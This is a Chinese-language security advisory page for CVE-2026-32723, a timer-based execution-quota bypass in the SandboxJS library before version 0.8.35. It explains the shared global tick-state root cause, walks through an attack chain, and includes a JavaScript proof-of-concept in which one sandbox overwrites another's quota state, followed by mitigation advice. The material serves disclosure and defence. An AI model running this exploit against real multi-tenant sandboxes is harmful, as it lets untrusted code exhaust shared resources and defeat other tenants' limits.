IPBUF安全漏洞报告
English
CVE-2026-32723 CVSS 4.7 中危

CVE-2026-32723 SandboxJS定时器执行配额绕过漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-32723
漏洞类型
执行配额绕过
CVSS评分
4.7 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SandboxJS

相关标签

执行配额绕过沙箱绕过本地攻击JavaScript沙箱竞态条件多租户SandboxJS

漏洞概述

SandboxJS是一个JavaScript沙箱隔离库,广泛用于在多租户环境中隔离和执行不受信任的JavaScript代码。该漏洞存在于0.8.35之前的版本中,攻击者可以利用定时器机制绕过沙箱的执行配额限制。在多租户或并发沙箱场景下,恶意沙箱可以通过覆盖全局tick状态(currentTicks.current)来劫持其他沙箱的定时器回调执行,使其在自己的tick预算下运行。这将导致原始沙箱的执行配额监控(看门狗)失效,允许攻击者执行超出预期的代码量,可能造成资源耗尽或其他安全后果。

技术细节

漏洞的根本原因在于SandboxJS使用了一个全局共享的tick状态对象currentTicks.current。当一个沙箱通过setTimeout或setInterval调度定时器时,定时器的回调函数在执行时引用的是这个全局状态,而不是创建该定时器的沙箱所关联的独立tick对象。在并发场景下,恶意沙箱可以在目标沙箱调度定时器之后、回调执行之前,覆盖currentTicks.current指向自己的tick对象。这样当定时器回调执行时,虽然代码逻辑属于目标沙箱,但执行配额检查是基于攻击者沙箱的tick对象进行的,从而绕过了目标沙箱设定的执行限制。攻击者可以利用此漏洞在共享环境中突破资源配额限制,导致拒绝服务或执行超出允许范围的计算。

攻击链分析

STEP 1
步骤1
攻击者创建一个恶意沙箱实例,通过setInterval持续覆盖全局tick状态currentTicks.current
STEP 2
步骤2
目标用户创建另一个沙箱并调度需要执行配额的定时器回调
STEP 3
步骤3
在定时器调度后、回调执行前,恶意沙箱的定时器抢先覆盖currentTicks.current指向自己的tick对象
STEP 4
步骤4
目标沙箱的定时器回调执行时,配额检查基于攻击者的tick对象而非原始沙箱的配额限制
STEP 5
步骤5
攻击者成功绕过执行配额限制,可导致资源耗尽或执行超出预期的恶意代码

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-32723 PoC - SandboxJS Timer Execution Quota Bypass // This PoC demonstrates how a malicious sandbox can bypass execution quotas const Sandbox = require('sandboxjs'); async function exploit() { // Create target sandbox with strict execution limits const targetSandbox = new Sandbox({ timeout: 5000, executionQuota: 1000, // Limit to 1000 ticks eval: false }); // Create attacker sandbox const attackerSandbox = new Sandbox({ timeout: 10000, eval: false }); // Attacker code: Override global tick state before timer executes attackerSandbox.run(` // Continuously overwrite global tick state setInterval(() => { // This overwrites currentTicks.current before target timer runs currentTicks.current = { limit: Infinity, remaining: Infinity }; }, 1); `); // Target code: Schedule a timer that should be limited targetSandbox.run(` let count = 0; const timer = setInterval(() => { count++; // This should be limited by executionQuota, but gets bypassed console.log('Timer executed, count:', count); if (count >= 10000) { // Exceeds original quota clearInterval(timer); } }, 1); `); // Wait for execution await new Promise(r => setTimeout(r, 5000)); console.log('Exploit completed - timer bypassed quota limits'); } exploit().catch(console.error); // Fix: Upgrade to SandboxJS >= 0.8.35

影响范围

SandboxJS < 0.8.35

防御指南

临时缓解措施
在官方补丁发布前,可通过限制沙箱并发数量、增加执行监控告警、以及在应用层实现独立的资源配额检查来缓解风险。同时建议评估是否可以在沙箱隔离场景中禁用定时器功能或限制setTimeout/setInterval的使用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表